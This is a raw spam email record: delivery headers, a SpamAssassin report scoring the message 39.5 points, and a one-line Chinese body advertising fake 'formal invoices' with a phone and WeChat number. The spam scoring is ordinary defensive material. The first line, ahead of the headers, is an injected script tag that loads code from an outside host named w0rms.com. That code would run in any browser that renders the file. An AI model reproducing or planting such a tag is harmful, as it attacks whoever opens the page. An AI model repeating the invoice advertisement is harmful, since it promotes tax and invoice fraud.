<script src=http://w0rms.com/kaydet.php></script>
Return-Path: <fgesycvn@163.com>
Delivered-To: csiway+spam@dedi-4568888.klamss.com.br
Received: from dedi-4568888.klamss.com.br
	by dedi-4568888.klamss.com.br with LMTP
	id mI8vHFAYJl7CagAA56lGvA
	(envelope-from <fgesycvn@163.com>)
	for <csiway+spam@dedi-4568888.klamss.com.br>; Mon, 20 Jan 2020 18:14:56 -0300
Return-path: <fgesycvn@163.com>
Envelope-to: hsalles@csiway.com.br
Delivery-date: Mon, 20 Jan 2020 18:14:56 -0300
Received: from [115.216.58.1] (port=58550 helo=163.com)
	by dedi-4568888.klamss.com.br with esmtp (Exim 4.92)
	(envelope-from <fgesycvn@163.com>)
	id 1iteNp-00076d-KS
	for hsalles@csiway.com.br; Mon, 20 Jan 2020 18:14:56 -0300
From: fgesycvn@163.com
To: hsalles@csiway.com.br
Content-Type: text/plain;charset="GB2312"
Content-Transfer-Encoding: 8bit
Date: Tue, 21 Jan 2020 05:14:50 +0800
X-Priority: 3
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-Spam-Status: Yes, score=39.5
X-Spam-Score: 395
X-Spam-Bar: +++++++++++++++++++++++++++++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4568888.klamss.com.br",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  代开正规各行业发票13211245720同步微信 
 Content analysis details:   (39.5 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  3.6 RCVD_IN_SBL_CSS        RBL: Received via a relay in Spamhaus SBL-CSS
                             [115.216.58.1 listed in zen.spamhaus.org]
  4.7 RCVD_IN_XBL            RBL: Received via a relay in Spamhaus XBL
  2.7 RCVD_IN_PSBL           RBL: Received via a relay in PSBL
                             [115.216.58.1 listed in psbl.surriel.com]
  4.0 SPF_FAIL               SPF: sender does not match SPF record (fail)
 [SPF failed: Please see http://www.openspf.org/Why?s=mfrom;id=fgesycvn%40163.com;ip=115.216.58.1;r=dedi-4568888.klamss.com.br]
  0.0 FREEMAIL_FROM          Sender email is commonly abused enduser mail
                             provider
                             [fgesycvn[at]163.com]
  1.3 RCVD_IN_RP_RNBL        RBL: Relay in RNBL,
                             https://senderscore.org/blacklistlookup/
                             [115.216.58.1 listed in bl.score.senderscore.com]
 -0.0 RCVD_IN_MSPIKE_H2      RBL: Average reputation (+2)
                             [115.216.58.1 listed in wl.mailspike.net]
  4.0 SPF_HELO_FAIL          SPF: HELO does not match SPF record (fail)
 [SPF failed: Please see http://www.openspf.org/Why?s=helo;id=163.com;ip=115.216.58.1;r=dedi-4568888.klamss.com.br]
  2.0 PYZOR_CHECK            Listed in Pyzor
                             (https://pyzor.readthedocs.io/en/latest/)
  0.8 FSL_BULK_SIG           Bulk signature with no Unsubscribe
  2.0 RDNS_NONE              Delivered to internal network by a host with no rDNS
  0.0 TVD_SPACE_ENCODED      Space ratio & encoded subject
  0.7 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS
  1.4 BODY_SINGLE_WORD       Message body is only one word (no spaces)
  3.1 DOS_OE_TO_MX           Delivered direct to MX with OE headers
  2.0 SPOOFED_FREEMAIL       No description available.
  2.0 TO_NO_BRKTS_MSFT       To: lacks brackets and supposed Microsoft tool
  2.5 TVD_SPACE_RATIO_MINFP  Space ratio
  2.8 FORGED_MUA_OUTLOOK     Forged mail pretending to be from MS Outlook
X-Spam-Flag: YES
Subject:  ***SPAM***  =?GB2312?B?MTMyMTEyNDU3MjC3osax?=

代开正规各行业发票13211245720同步微信